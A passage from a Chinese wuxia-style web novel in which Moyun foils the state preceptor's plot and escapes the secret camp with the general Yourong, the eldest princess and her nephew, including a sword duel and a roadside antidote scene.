幽戎咬牙忿然说道：“所谓双管齐下，难道就是对他们下毒？以众将士的亲眷相要挟？以苛法、酷刑逼其从命？若我峑戎待自己军中弟兄尚如此苛刻，又如何让中原大地俯首，把军中将士奴役如牛马，这只会让将士心生怨怼，难道尔等真不怕军心反噬？”
“大胆，居然敢对三皇子这般无礼。”那狂傲之人身边随从闻言，便脸色大变，指向幽戎便怒斥。
茉云不禁手指轻轻摸摸鬓角有些汗颜，好似听沧海他们聊起过峑戎老三，据说他是个弑杀血腥的魔头，那么用峑戎的话翻译过来便是英勇好战，军功卓著，看看他身边随从谨小慎微的样子，这家伙肯定不是个爱兵之将，跟他废话这些？
“照幽戎的将军的意思，将军此生也遭受诸多蹉跎，你难道也心生怨怼？也会反噬？”国师冷静而从容的语气下，字字句句都好似一场惊心设计的陷阱。
茉云听到此刻无语的抬目望向幽戎，这台上之人丝毫都未听你的言，这台下之人摆明了就是挖坑给你跳，纯属走个过场送你去西 天，而你还这般激情澎湃的配合着这场大戏。
“幽戎此生惟愿族人不再吃我吃过的苦，希望天下所有尝尽家破人亡之苦的灵魂，皆能找到安宁而光明的家园。”
茉云顷刻抬目望向幽戎，看向他那挺直的脊背和倔强的神情，可他的语气中却饱含了最深沉的情感，让所有家破人亡的灵魂，都能找到家园……
“殿下，幽戎愿以头颅担保，陛下若能以仁德治军，厚待将士，激发将士心中忠勇，赋予他们为全族开创未来的使命，军心自固，必将战无不胜。臣也愿立下誓言无论前路多么艰险，敌人如何强悍，我必和峑戎将士一心，奋战到底，定为全族子孙后代寻一片的国度，谋一个未来！不死不休！”
而那高高在上的三王子俯瞰着幽戎瞬间质问道:“幽戎，你何时有资格能代表全军了？本王还要你教我如何带兵？”。
茉云眼角闪过一丝惋惜，自己都未曾想过如此放浪不羁的幽戎，居然能说出这番誓言，如雷霆般响彻四方，如战鼓般激荡众人热血，可那王子高高在上的冷漠与残忍，如极寒之地的硕大冰山迎面压来。
“三弟！”长公主显然满腔忿然的望向他。
“你不用说话，大哥让我来，就是来整顿这暗营的！跪下！”
幽戎则站在的原地，一动不动，他的双拳紧握，指甲深深陷入掌心。他从小时剑法在峑戎少年中拔得头筹，大王便赏他可不跪，他凭何跪这三王子！
“来人啊！将这违抗军令之人按下问罪！”三王子望向幽戎那桀骜不驯的神情，顿时火冒三丈怒斥道。
此时幽戎身边的随将，顷刻便拔出了刀怒吼道：“难道将军如此赤诚，却换得王族如此对待？”
大堂顷刻间炸开了锅般，静默的众人显出了不同的神情，茉云嘴角上扬露出了一丝笑意，好戏上演了。
“你等是要造反吗？”
“请所有忠肝义胆之辈，护卫我们将军离开，让他能前往都城，寻得二皇子找大王给个公道。”幽戎身边的随将义愤填膺的控诉道，就连幽戎都望向他的随将有些诧异。
“来啊，将这些反贼给我拿下！”三王子即刻便下令道，国师站在一旁没有任何表情，唯独眼神中闪过的一丝得逞。
“幽戎！”长公主起身吃惊的望向幽戎。
那随将望向幽戎身边的副将集益说道：“他们都不是将军的对手，咱们杀出一条血路，誓死护卫将军出暗营。”
“好！”幽戎身边众人顿时群情激奋，顷刻拔出了刀剑，集益是自小便跟在幽戎身边的护卫，自然此时毫不犹豫的拔出了剑。
此时国师轻轻抬起他那瘦骨嶙峋的手，在空中一挥，霎那间从侧门一拥而上的暗营暗卫将此地包围，为头之人居然是方茉云。
任堂内如何混乱，看见方茉云的这一刻，幽戎便明白了这一切，这不过是国师和大皇子、三皇子的阴谋。他满腔热血在这一刻终于被冰冷的现实浇灭，他心中理想、忠诚和誓死效忠的誓言瞬间崩塌成了虚无。
“认命吗？”茉云眼尾上扬挑出一丝轻笑，眼神却放出了狠戾的光。
幽戎目光从众人狰狞的笑脸中扫过，曾经的忠心耿耿，金戈铁马和九死一生都抵不过一场阴谋。他那高昂而挺拔的身躯，似乎这一刻都疲惫得颤抖，嘴角勾起一抹自嘲的笑，眼中不再有怒火，只是一种难以言表的失望。
“这就认命了？”茉云则以高亢的声音问，嘴角泛着冷笑，“那你也配说不死不休？”
幽戎怔了半刻缓缓抬头望向茉云，眼中好似又闪过一丝倔强的神采。
“于我而言，人不可有一刻认命，哪怕是最后一刻，但可时时拼命玩命！”茉云顿时拔剑而出，顷刻间调转剑锋，飞身就上堂，以迅雷不及掩耳之势一把就压下了三皇子，还未等他反抗便将其
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击晕，将剑抵在他颈下，众人皆错愕惊喊，但谁都不敢轻举妄动。
“你两，还不除了身边那卖主的叛徒。”茉云望向幽戎身边那随将。
顷刻间幽戎拔剑手起刀落将身边那最先拔剑的随将劈下，他缓缓抬起头，眼中本已黯淡的光彩又被重新点燃，锐利如刀。集益瞪着那倒在血泊中的随将才晃过神，慌乱中众人包括自己都六神无主被他诓骗，他所谓的护主突围不过是被人收买为幽戎安上谋反的罪名。
“为什么？”幽戎望向茉云又显出了那抹邪魅的笑容。
“该问为什么的不是国师吗？国师真是绝顶聪明，拿捏人心的好手，可奈何我自幼便不是人，人都称我为妖怪。脑子与人不同，任人如何揣度拿捏，都无用，只因我脑子有病，我自己都把握不了我自己！”茉云狠戾又带着嬉笑的乐了，望向一脸依旧从容而阴寒的国师。
国师不愧是国师，现场如此的反转，众人都是应接不暇的错愕，他依旧从容不迫，平静如水，冷冷的凝视着。
“那日国师你说幽戎想要我命，我得先下手，我觉得甚为有理！可就刚刚幽戎一句望天下所有尝尽家破人亡之苦的灵魂，皆有家园，我又准备带他一起玩命了！”
“你以为凭你一己之力能救他。”
“不能，逃出暗营就行！”
“那就试试！”
“好，那便试试！”茉云转身便没好气的扛着昏迷的三皇子对幽戎一扔，冲着他们吼道，“你们不过来压着这胖子！”
在众人还有些呆滞目光下，幽戎咧嘴笑了，他看向集益指了指，集益二话不说就带人一把绑了三皇子。
国师阴冷的望向他们下令道：“所有暗营暗卫，听我之令，将这一干逆贼乱箭射死，若误伤三王子，所有罪过我一力承担。”
“国师！”
“放箭！”国师阴鸷般的说道，可是顷刻间他又疯狂的怒吼道：“停，不要放箭。”
只因此时长公主站到了幽戎前面，完全挡住了他，此时射出的第一箭已经擦过长公主的鬓角，血顷刻间渗出，而她却丝毫未动。幽戎双眉紧皱，眼中亦闪过有几分吃惊。
顿时国师疯狂的吼道：“胆敢伤了长公主，立刻将其乱刀砍死。”
那发出第一箭之人当场喋血，此时堂中众人都未有人敢动弹半分，只能惶恐的注视着瞬息万变的局势。
“长公主，他们不能留。”
“难道我峑戎的朝堂是你说得算吗？”
“您难道还怀疑我的忠诚？”
“好，那便随我一起去父王那里，让他断个是非！”
“长公主，我绝不会放他们离开暗营。我乃峑戎国师，要以国事为重！”国师望向长公主，眼神不再犀利如刀，而是变得深沉而恳切。
可长公主那琥珀色的双眸只迸射出愤怒和鄙夷，瞪向国师吼道：“那便将我等一起乱箭射死！”
国师抬起了那瘦若枯木还颤抖着手，望向长公主的眼眸透出了苦涩和无奈：“来人啊……”
“国师，人快油尽灯枯之时，是否更该不忘初心。”茉云抬目悠然的望向国师，语气如此平淡和现场的剑拔弩张格格不入。
众人皆不知茉云所云为何？可国师手却停在半空，迟迟未能挥下，他望向了长公主，那一刻他神情中以往的狡黠和狠戾都消散了，取而代之的是一种无法言喻的悲伤和深情。
“怎得如今位高权重，悠悠几度春秋，权谋和输赢都比之重要了？那你此生还剩什么？”
国师那毫无血色的薄唇在微微颤动，那狭长而阴冷的眼睛闭上了，权谋和阴影早已将他包裹，但他心中这一抹深情，依旧日日倔强的燃烧着从不肯熄灭，正如一开始他入仕，不过是想将自己化为烛火，哪怕只用微光温暖她一刻也好，此刻若他连她都舍弃，那自己此生除了一生的争斗和血债，还剩什么……
茉云眼中闪过一丝叹息的神情，但转瞬即逝被笃定的狠戾所取代，她伸手一把牵起了长公主，转身的一瞬间狠踹了幽戎一脚。
“怎得还留下吃个宵夜呗？走啊！”
幽戎嘴角又闪现出那邪魅而不羁的笑容，抬手说道：“走！”
124.狂奔
烈日当空，阳光如刀刃般直刺在荒凉的暗营上。夏日的暗营本就闷热，此时还被炙热的太阳和喧嚣的人心点燃了般，透着灼人的气息。守卫们弓弩拉得满满，眼神中透着紧张和戒备。
幽戎带着众人闯出了大堂，他深知从前门是出不了暗营的，前路皆是凶险万分的机关和暗哨，唯一的活路便是后方。
“小腾！走了！”茉云经过山谷大石忽然喊道。
这时小腾满脸机警的从大石后窜出冲到了茉云面前，顿时看着队伍愣松了半刻问道：“姑姑，你说你得去干掉幽戎叔叔，若成了咱若无其事的离开，然后跑；若不成咱疯狂逃窜的离开，然后跑，这……现在是怎么打算的？”
茉云无语的捂着额头，随手擦掉额边的汗水，叹气的回答：“因为一些错综复杂的缘由，现在咱得带他跑！”
“缘由是？”
“老子乐意！”茉云没好气的一把拎过小腾吼道，“你怕是呆久了被那麻雀传染了吧，这个时候叽叽歪歪，跑啊！”
幽戎顷刻间被他两逗得大笑，然后顺手将小腾推给集益，示意让他护着，然后带着众人往后山的出谷之路撤退而去，就在此时往山谷后山暗道的机关已被触动。
“小心！”幽戎察觉了，顷刻间大声向众人警示道。
话音未落，茉云紧握手中之剑，如闪电般挥出，整个人如同一只矫健的猎豹飞身窜出。她的步伐轻盈而灵活闪过飞出的火石，剑势却凌厉而准狠，顷刻将刚启动的机关斩得粉碎，立于暗道旁的大石往前路眺望，然后回头眼中带着一丝蔑意的望向幽戎，似乎在说小心你个头，快走！
幽戎却又嘴角上扬的笑了，拔出长剑横扫而去，带领众人望后山飞奔而去，剑锋在阳光下如此耀眼。
刺耳的警报哨声骤然响彻长空，无数的暗营守卫四面涌来。阳光下，他们的刀芒反射出刺目的光芒，好似一片移动的铁墙，阻挡他们去路。
茉云没有半分迟疑，幽戎亦俯冲向前，在他两默契的配合下，双剑齐舞银芒交错，暗卫还未来得及呼喊救援就纷纷倒下。
还未来得及擦拭沾染的血迹，茉云便迅速打量四周，寻找突围的路线。
幽戎不禁望向茉云，阳光洒向她冷静和决绝的脸，茉云坚定指向艳阳说道：“刀剑易档，暗箭难防，我们往东门撤，此时烈日艳阳正好刺向那个方向，箭手不易瞄准。”
“可那边有军火库，守卫森严。”集益副将看向茉云担忧的说道。
“此处哪儿不森严，军火库正好，若逃不出去，炸死那麻雀，大不了一起玩玩！”茉云忿然飞身前去探路，幽戎亦笑着毫不迟疑地握紧长剑与她一起望东侧突围。
长公主看向幽戎的背影却深吸一口气，好久没有看见他如此酣畅淋漓的模样了，他长剑挥出每一剑都带着千钧之力，震慑着意欲逼近的暗卫，也是希望逼退他们，为这些曾经战友留一丝生机。
“小心前面弩箭阵！”幽戎忽然对茉云吼道，茉云迅速转身就扛起了身旁的大石，不顾一切的掷去，顿时发出了刺耳的碰撞声，幽戎接过集益路上夺来的剑弩，奋力射出直穿弩箭阵营，众人不得已躲闪，箭雨只得修整，他们抓住时机迅速前冲。
众人快靠近东门时，暗卫已在前路布下重重包围。茉云狠戾的目光一闪而过，猛然挥剑便冲向敌阵，剑光如万道闪电泻下，撕开一条血路。幽戎亦挥剑斩向来敌，一边护住茉云的侧翼一边带着众人往前推进。
他们的默契好似战场上无数次并肩作战一般，无需言语，就能知道彼此的意图。面对越来越多的暗卫袭来，两人没有一丝慌乱，反而越战越勇。
就在他们即将突到东门时，一队弓箭手已爬上了高处，箭矢在阳光下反射出森然的寒光。寒箭飞出，幽戎顿时挡开了茉云将其推入暗沟，猛然转身一脚踢飞地上暗卫掉落的长矛，旋身狠命掷向高墙上的弓箭手。矛尖划破空气，弓箭手惨叫着从高处摔下。
他马上转身查探茉云有无受伤，她人却不见了，随着暗卫的惊呼，他抬眼望去，发现茉云已从暗沟窜到对面高地，趁机跃上高台，她抓着石缝整个人翻了上去，利落的出现在了射手身后，眼神锐利如鹰，紧接着她一个个将他们踹下，动作迅猛而果断，没有半点迟疑。
“你姑当真喜欢用脚踹人！”幽戎顷刻又被逗笑了望向小腾说道。
“这已经是斯文了，我二叔说，我姑小时候都是手脚并用，还搞不赢就用头撞，再不行就咬，有时候对手还不是人，是动物！”
幽戎顿时笑得前俯后仰，好像丝毫不是在命悬一线之时。
茉云飞身而来归了队伍，随着众人一起杀到了东门，众人却停下了脚步，一个熟悉的身影出现了，带领暗卫的守着东门的是身披铠甲，手握铁剑的厄戎。
幽戎顿时眉头微皱，握紧长剑望向厄戎，厄戎是他如兄如友并肩作战，出生入死之人，厄戎亦是目光严峻，铠甲在艳阳下闪出冰冷的光泽，好似能隔绝那过往的情与义。
“幽戎，你这又是何苦！”厄戎的声音如此低沉，仿佛在压抑这什么，又透露出一丝复杂的情绪，愤怒，无奈和情义交织其中。
茉云本欲说什么，却被幽戎用剑柄挡住了她的前路，茉云抱剑站到了一旁。
“厄戎，让开！”长公主顷刻上前下令道。
“长公主，恕罪，属下和这些兄弟们皆军令在身。”厄戎抱拳咬牙回应道。
“厄戎！”
茉云上前拉过了长公主，长公主愣了半刻望向她，茉云满脸坦然的笑容，眼神示意让长公主成全他们的兄弟情义，长公主最终站到了队伍后方。
幽戎握紧手中的长剑，目光沉稳而坚决，他绝不会求兄弟们放自己离开，因为那便是用他们的命换自己的命：“你们要拦我，我不会手软，拔剑吧。”
一时间空气好似凝结，这便是战乱之时情义的宿命，昔日同生共死的牵绊换今日刀剑相向的撕裂。
厄戎猛然抽剑而出，剑光在烈日下如同一道流星，直刺幽戎而来。幽戎侧身闪避，剑锋划破一道疾风。两人的兵刃在空中碰撞，震耳的金属撞击声在长空中回荡。
厄戎剑法愈发凌厉了，步步紧逼剑剑交锋之中，他的剑刚猛之中散出一丝杀意。幽戎没有丝毫退缩，剑气如虹，迎面便化解了剑招，他望向厄戎仿佛眼中燃烧着多年的情义与恩情。
“为什么要这样？”厄戎一边挥剑，一边吼着质问，声音中透着无法压抑的愤怒，“你曾经是如何答应我的，一切为了大业！”
幽戎眼中闪过一丝痛楚，可他没有辩解半分，只得咬牙低声回应：“我没有选择！”
茉云皱眉地盯着这
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一切，回头望向暗营中局势，手握利剑却无法插手。她亦知道，这一战，不只是刀剑的较量，更是情义与信念的交锋。
“幽戎！若你此时被往日情义所裹挟，那你就是峑戎的罪人！”茉云顿时抱剑厉声吼道，“死在此处不过是一条烂命，可你拿了峑戎全军兄弟们的全家给自己陪葬！就如同当年你全家拜拜葬送一样！”
幽戎顷刻间眼中的纠缠烟消云散，目光如电握紧长剑之手，青筋曝出。
“他没带过兵吗？他不懂何为治军吗？他心里知道你是对的，可他依旧选择做那国师的走狗！”茉云也感受到一众暗卫赶来的脚步声，愤然指着厄戎冲幽戎吼道，“就如同当日他知道你哥是去送死，可他什么没做！”
厄戎的眼神好似被剥离了一般，他当年就是幽戎哥哥武学班的营长。两人已经战至酣处，厄戎的剑法沉稳如山以守带攻，步步为营，幽戎的剑法却迅捷如风凌厉无比，鼎盛之剑气渐入上风。
一瞬间，幽戎的剑法骤然激变，剑势犹如狂风骤雨般猛烈袭来。厄戎眼神一凝，迅速后退一步，剑法刹那一滞，似乎就是这转瞬的迟疑。幽戎抓住了机会，剑锋一转，剑芒贴着厄戎剑锋压制过去，厄戎之剑被击得飞窜三丈远，鲜血顺着厄戎的臂膀滴了下来。
“够了！”幽戎呼吸急促而沉重的说，眼中又燃烧起痛苦与愤怒。
厄戎没有动，他的眼神终于从冷峻中，露出一丝深深的悲凉。汗水顺着他的额角滑落，他苦笑着，声音透着沙哑和无力说：“我不知，但若我知，亦不会改写什么！”
幽戎慢慢放下了手中的剑，心中百感交集：“我知道，所以从未怪过你，”
两人之间的恩怨情仇，似乎在这一瞬间得到了某种解脱。
“走吧。”厄戎低声说，“以后就看你的了！”
幽戎望着他沉默了片刻，还未等他言语，茉云趁机扑向东门，看向那沉重的高坛木门，显然以凡人之力是无法推开那沉重的木门。
顿时她转身忿然瞪向幽戎指着说：“没事，我研究会儿，你慢慢聊啊！”
幽戎瞬间又被她逗笑了，抬手便打开了机关，顿时东门大开，阳光直泻而下，山下是广阔的戈壁，沙尘飞扬却透着自由的气息。
茉云伸手牵过长公主的手，迅速冲出门外，幽戎和厄戎对视一眼，厄戎给了幽戎一个坚定的眼神，幽戎带着属下一行人往山下戈壁深处狂奔而去。脚下的砂砾滚烫得灼烧着他们的脚掌，但众人没有一刻停顿。
直到到达前哨之处，此处已经人去楼空，荒野之地却匪夷所思出现了一队战马，幽戎的那匹全身黝黑的千里驹就是领头之马，它望向幽戎向空嘶吼一声，便不顾一切的崩腾而来。
幽戎深吸一口气浅浅的笑了，任兄弟们如何荆棘缠身，腹背受敌，可赤诚和忠勇之心犹在。
“哎！骂重了点！”茉云长叹一口气看着马群然后懊悔的看向幽戎，“以前都说我骂人刻薄，我还不信！我为何要骂厄戎大将军是狗！”
幽戎瞬间豪迈而畅快的笑了，如山涧清泉奔腾而下，带着一股爽朗，又带着一种豁达与坚韧，此刻什么都再也不能动摇他的信念了。
茉云亦抬眼望向天地辽阔前路漫漫，风卷黄沙枯叶簌簌，自己亦未曾有一刻彷徨过，万里江山苍茫色，一腔豪情映烈风。
125.万里
在无边的戈壁滩之上，风是一种无可抗拒的存在。它不再有温柔的拂面，而是以一种干涩而猛烈的力量卷席着大地。骏马迎风而来，停在了幽戎的面前。
幽戎粲然而笑伸手摸摸爱驹的脖子，那不可一世的烈马顷刻变得臣服而乖巧。自古英雄豪迈驰骋天地，身边又怎会没有一匹忠勇坐骑。
茉云抬手便牵过一匹好马，幽戎眼神又落到了茉云这边来，她一看便是懂马之人，也是，她曾经在爱马如命的部落呆过。
“公主，你快上这匹马？”茉云望向长公主温和的说。
长公主则看向茉云那坦诚而率性的双眸：“和幽戎快逃吧。我只能把你们送到此处，他们就算追来，也不敢将我如何！”
幽戎亦怔了半刻望向长公主，长公主却大气而坦然望向他笑了说道：“去吧！祝福你！”
“长公主，你没搞清楚状况吧！”茉云打断长公主的话说道。
“没关系，你……”
“我当然没关系啊，可您在此处比我们危险多了，那家伙是疯的，而且活不长了，很有可能破罐子破摔！”茉云打断了长公主的话，指着暗营方向说，“虽然他腰比您还细，若是他意图不轨，您爆锤他一顿便是，但是看着也恶心啊！”
众人皆瞠目结舌的望向茉云，幽戎又顷刻被逗笑了，这丫头的脑子总是格外一根筋。
一行人上马飞驰而去，在这苍茫的戈壁之上，以他们的骑术，追兵是无法企及的，风沙夹杂在空中，划过骑手门的脸庞犹如细小的 针尖，带着些许刺痛，长公主将围脖围得只剩下双眼。
茉云看向着苍茫的大地开心得张开了双臂，畅然说道：“你带他们殿后，我前方探路。”
还没等幽戎回复，茉云快马一鞭，风驰电掣而去，享受着迎风的自由，好像脱缰的野马自由驰骋，幽戎瞬间抬起马鞭欲乘风追去，可他手停住了，望向茉云的马蹄掠过苍凉的戈壁，卷起无数的尘土与砂砾，自己此刻才明白望尘莫及的意味，他身后还有人……
“将军，她是逃跑了吗？”集益愣松了半刻说道。
“放心，我还在这儿呢！”此时小腾举起了捂住双脸的手说道，集益才意识到自己的唐突，而小腾却毫不在意的说，“我爹和我二叔都说了，我姑一骑马，人和马就都疯，一下就不见了 ！”
“那……哪儿去找呢？”
“找不到，唯一可以让我姑停下来的地方，就是吃东西的地！”
幽戎嘴角又透出了笑容，转身望向长公主说道：“长公主可有手绢！”
长公主拿出手绢，伸手丢给了幽戎。
“谢长公主。”幽戎依旧恭敬的说，然后拉着缰绳慢步走到小腾面前，伸手将手绢对折给他扎好，为他蒙住了半边脸，这样风沙不至于刮伤他稚嫩的皮肤。
小腾愣了半刻憨笑着说道：“谢谢幽戎叔叔。”
幽戎眼神中透出温和光芒，伸手摸摸小腾的头，然后拉马转身带着队伍前行，小腾深吸一口气轻轻咬了咬自己的唇，眼神中有一丝犹豫，可是看向峑戎众人腰间的刀剑，他又恢复了平日里的神情，他记得他姑姑说的话，人不能有一刻忘记自己所忠诚的信仰……
果不其然夜幕快降临之时，在通往戎都的路上的一个小镇上，茉云就坐在街边大石上，嘴里咬着一个硕大的馕，一只手上还有满手羊肉串，另一只手上提着酒壶。
幽戎顷刻又被嘴角泛起的笑容说道：“怎么？手不够用？”
“哎，逃出暗营之时都没有现在这么希望自己有三头六臂！”茉云抬眼望去感叹道。
幽戎乐了跳下马，便抬手从茉云的馕上掰下一块塞自己嘴里，此举常人见之都会觉得似乎过分亲密，可是幽戎就是这狂野不羁的性子，也属寻常。
茉云亦没有丝毫其他反应，将馕撕成大几块，首先就递给了长公主。
长公主的随人顿时便怒斥道：“你是什么东西？长公主怎么可能吃你吃过的东西？”
幽戎眼中闪过一丝寒光望向那随从，而茉云却毫不在意手还是伸在原地，好似没听见这番羞辱：“这边没咬过的，您饿吗？”
“谢谢！”长公主伸手接过了馕，然后数落的瞪了那随从一眼，那随从伏低头马上退后到一旁，长公主轻轻的咬着馕静静的吃着，看见茉云将剩下的馕丢给小腾，小腾开心的咬了起来。
“姑姑，我想吃个羊肉串！”
茉云大口的咬着羊肉串随意地说：“小孩子吃多了肉不好！”
幽戎边伸手将水壶丢给集益去打水，边无语的笑了望向茉云：“人还在长身体！”
“我们家吃肉得靠自己本事！”茉云大快朵颐的享受着羊肉串的美味。
“叔叔等下买给你吃！”幽戎无语的安慰小腾，转头让属下去买支烤羊和备些干粮，怕有追兵他们不能在镇上停留，只能买些食物到了路途上再寻艺隐蔽之地修整。
“姑姑，你这是说我没用呗？”小腾愤怒的朝茉云嚷嚷道
“诶，千万不要这般妄自菲薄，你看你不刚一句话就诓来一只烤羊吗？”茉云满脸诚恳的望向小腾欣慰的说道，“有本事得很，不愧是我侄子。”
幽戎看着他两拌嘴顷刻间又爽朗的笑了，笑得那般坦率而真挚，毫无掩盖，长公主深吸一口气好久没见到他这般畅然的笑容，哪怕现在追兵在后，前途未卜，还不知道等待他的是戎都何种局势？是不是一切都已落入大哥的手里，他们好像浑然无畏，也许幽戎和这个方茉云才是一类人，天要塌下也随他，我自任我性子来……
一路前行，幽戎忽然月色下抬手示意众人停下，他环顾四周，确认了周围的地势，此地隐蔽且依山而守，不易被发现，便回头下令道：““此地险峻隐蔽，我们暂作歇息，集益你安排兄弟们轮番值守，天亮再出发。”
“是！”
他们纷纷下马，将马匹牵到了一侧的岩壁下，幽戎跟集益说了什么，他捡来了枯枝为长公主生火，荒野的昼夜温差极大。
长公主马上说：“不用了，生活容易引起追兵注意！”
集益才转头望向幽戎，幽戎才抬手才让集益推下去忙自己的。茉云看着嘴角轻轻一笑，这家伙为了显示自己不攀附公主的男子气概，真也是够生份的……
黄沙弥漫的夜空中，弯月依旧悬挂，冷冷照向大地，周围的嶙峋的石山月下泛着苍白的光，众人靠在岩石下，眼中布满倦意，却依旧保持着警觉。
幽戎抬头望向夜色浓重的大地，四野茫茫，他知道这一夜的宁静，不过是暴风雨前短暂的喘息。
茉云则抬头看向漫天的星空，幽戎转身之际瞧向茉云停了半刻之后，眼中又闪过一丝寂寥，淡然说道：“我幼时见到的卢正啸，夜里无事也最喜欢看星星。”
茉云顷刻间咬紧了牙关却没有望向幽戎也没有片刻慌张，眼中依旧深藏狠戾说：“幽戎，我还是那句话，不要回头看了，往前看吧，你已无可逃避。”
幽戎继续望向苍穹，是的，未来迎接自己的便是生死未卜的搏杀。就在此时他心中传来一阵绞痛，他捂着胸口，一口血吐了出来，集益一拥而上马上护住幽戎。
这时长公主好似一瞬间失去平日里的端庄和雍容问道：“幽戎，他是不是也给你吃了毒药？”
幽戎倔强的微微扬起下巴，唇角勾起一丝浅笑，眼神中依旧是不屑和冷酷：“暗
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营中人谁没有吃过他的毒药？”
“你还有多久药效会发作？”
“我撑得到戎都？”
茉云看着幽戎没好气的说：“撑到了，然后一口老血吐在城门上，就落叶归根了？”
“方茉云！”集益顿时没好气的瞪向茉云，只因他口气中的奚落。
茉云从衣中取出一小瓷瓶丢给了集益，集益接住了不解的望向了幽戎。
“看是不是解药！”
集益打开一闻，他们对这些毒药解药都太熟悉了，昔日几乎成了他们的家常便饭，他吃惊望向茉云：“你为何有解药？”
“你管那么多！”茉云无语的靠着大石坐下。
“这便是他给你的，杀我的报酬？”幽戎望向茉云说道。
茉云并没有说话，只是准备找个合适的位置，准备闭上眼睛先休整会儿。
“我不用！”幽戎咬牙以内力逼退毒性说道，他知道茉云亦吃了国师的毒药。
“将军！”集益焦急的望向他，长公主亦吸了口气没有再说什么，她亦知没有人可以轻易改变幽戎的主意。
茉云顿时忿然睁开了眼睛，起身而去，抬手对着幽戎的头狠命一窍，打得本在运功抵御毒性的幽戎的一个踉跄，差点没有被打趴下，集益等人都措不及防呆愣看着。
“你就是脑子有病，我给你打清醒点，枉你一个氏族出生的将军还不如我一个市井出生的泼妇！”
幽戎亦没有晃过神望向茉云，连小腾都被被惊醒张望了过来。
“就连我一看都知道，是有王子可能要篡位夺权了，你们大王危矣，你费劲半条命逃出暗营，回去勤王，却有可能挂在半路，有个人给你一颗解药，你不要？”茉云火冒三丈抬头冲天吼道，“老天爷怎么不一道雷劈死这家伙啊！”
幽戎顿时摸着头乐了看向茉云说道：“你离我远点！”
“吃了这解药，回都城保大王，娶长公主为妻，辅佐该辅佐之人，去实现自己的理想，为峑戎全族谋一个光明正大的未来。”茉云顿时指着幽戎吼道，“不然我现在这一刻就能送你上西天！”
幽戎亦怔了半刻望向茉云，自己心中志向和矛盾在无尽的交织，而她的眼中只有坚毅。长公主亦有几分诧异的望向茉云……
“我白日里还想着，我大抵是知道，峑戎王族和长公主等人为何如此看重你，而他们却如此忌惮你？因为你生下来就是为了守护君王，保护家园，为全族开创和平繁荣未来的人，这样的人本该没有自我，不是你想如何就能如何的！”茉云抬手豪气干云的指向苍茫的旷野那戎都的方向。
幽戎顺着茉云所指的方向，感受到这西风的呼啸，风沙卷席漫天飞扬，是的，再艰难的抉择也不及峑戎的未来和希望重要。
“而此时此刻，我觉得他们都瞎了眼！”茉云指着长公主瞪向幽戎直接骂道，“你是吃了解药，还是我现在就弄死你！”
幽戎拿过了那解药放入口中咽下，看向茉云绝无平日里的锐利，闪烁出一种明亮的光彩，嘴角露出一抹意味深长的笑意乐了：“泼妇这个词确实还挺合适你。”
茉云白了一眼，继续靠回刚才的大石准备休息说：“也算相识一场，我只能送你到此，话也到此！”
“你不随将军入戎都？”在一旁的集益顿时吃惊的问道，茉云的能耐他们是见识到了的。
“你主子敢让我进戎都？那他也太容易被蛊惑了？”茉云嘴角微扬，眼神中闪过一丝冷凌。
“你蛊惑过我吗？”幽戎忽然望向茉云笑了，眼神中闪烁出柔软。
“怕蛊惑？”茉云轻笑着闭上眼睛，“纵有狂风拔地起，汝当乘风破万里！”
126.来寻
晨曦已至，阳光洒向广袤的大地，透着荒凉与壮美。远处的山脉轮廓分明，山尖折射出的金灿之芒，显得巍峨而遥远，近处稀疏的灌木和野草在这边戈壁中顽强生长，零落却也充满生命的韧性。
阳光顷刻就唤醒了所有的人的精神，众人迅速翻身而起，活动着筋骨抖落昨夜的尘土和寒意。
茉云起身之时，见到幽戎正站在一块高岩之上，远瞰戎都得的方向，背影在晨光下显得更挺拔而威严，脸色挂着沉思的冷峻，可眼中却透出了笃定，此时他心中应该已有了筹谋。
长公主伸手接着随从倒出的水整理仪容，轻轻的用手绢擦拭着脸庞，眼神却不自觉的望向幽戎的背影，目光中交织着柔情和忧虑……
众人都迅速整装，系紧马鞍整好行囊，别好了腰间的武器，眼中闪烁着坚定的光芒，他们定然知道接下来的路艰险万分，但没有半分畏惧，因为他们跟随着他们毕生信仰之人。
幽戎走来飞身上马，握住了缰绳转头望向茉云，看见茉云睡眼酥松的掏出一张馕，面无表情的咬着的样子顷刻又被逗笑了。长公主亦神态自若翻身上马，可是眼中闪过一丝失意，但凡是女子皆能看，他笑容中不是平日的狂放不羁，透出一种温和的光芒。
“此处等我！”幽戎望向茉云说道。
“在这喂狼啊？”茉云睁开睡眼没好气的捂嘴打着哈欠说道，“要找我就去昨晚烤羊的那个小镇吧。”
幽戎点了一下头，抬目遥望着前方那条漫长的路，目光如炬的说道：“出发！”
伴随着他的一声令下，快马扬鞭疾驰而去，激起漫天的尘土和飞沙，茉云眼神顷刻清醒，望向他们离去的背影深深叹息，谁没有家国，谁又没有亲人……
她转身准备带着小腾去镇上躲一阵，看见小腾手里拎着一个小包袱。
“什么？”
“早上集益叔叔给我的，说是幽戎叔叔让他备下的！”小腾打开里面有当地习俗的衣物还有一些盘缠，居然还有一块名贵的镂雕羊脂玉，玉上雕刻着一只惟妙惟肖的狼的身影。
“走吧！”茉云无语的让小腾收起包袱说道。
茉云带着小腾回到了昨晚经过的小镇，镇上房屋低矮，都是土黄色的矮墙石岩所铸，简单却坚固才能抵御戈壁的烈风，镇上的小集市做的都是过路人的生意，远处传来了驼铃的声音，是一只骆驼队缓缓经过，这小集市麻雀虽小，五脏俱全，是南来北往之人都会停驻补给之地。
两人没有住客栈，而是茉云用部落的方言，找了一个小镇边的大婶家里，借住几日。
“姑姑……”
茉云擦了把脸望向小腾，看着他那欲言又止的样子，无语的说道：“有话就说！”
“你……累不累？”
茉云没好气的望向小腾，他踌躇了半天就问这么有内涵的问题。
“这一般墙头草，两边倒，也挺累的吧！”
茉云也被逗笑了拿出水壶倒着水喝，良久之后说道：“若你要干一件事，就要分清轻重缓急！”
“什么意思？”小腾凑近了过来，小声问道。
“若要灭密营，一定要灭他们国师，这世上能灭国师那老麻雀之人，唯有幽戎，所以得救幽戎。”
小腾恍惚了半刻，马上看向周遭有没有可疑的地方，那猥琐的样子把茉云逗笑了。
“姑姑，接下来有什么打算。”小腾小声的说道。
“你能别学蚊子叫吗？接下来拿着这笔盘缠，好吃好住，见机行事，等人杀回来再说！”
“好！”小腾开心的坐下说道，“太好了，我们还是卢叔叔一边的。”
“怎得？幽戎待你也挺客气啊！”
“那怎么一样！”小腾开心的拍着胸脯说道，“我，忠臣不事二主！”
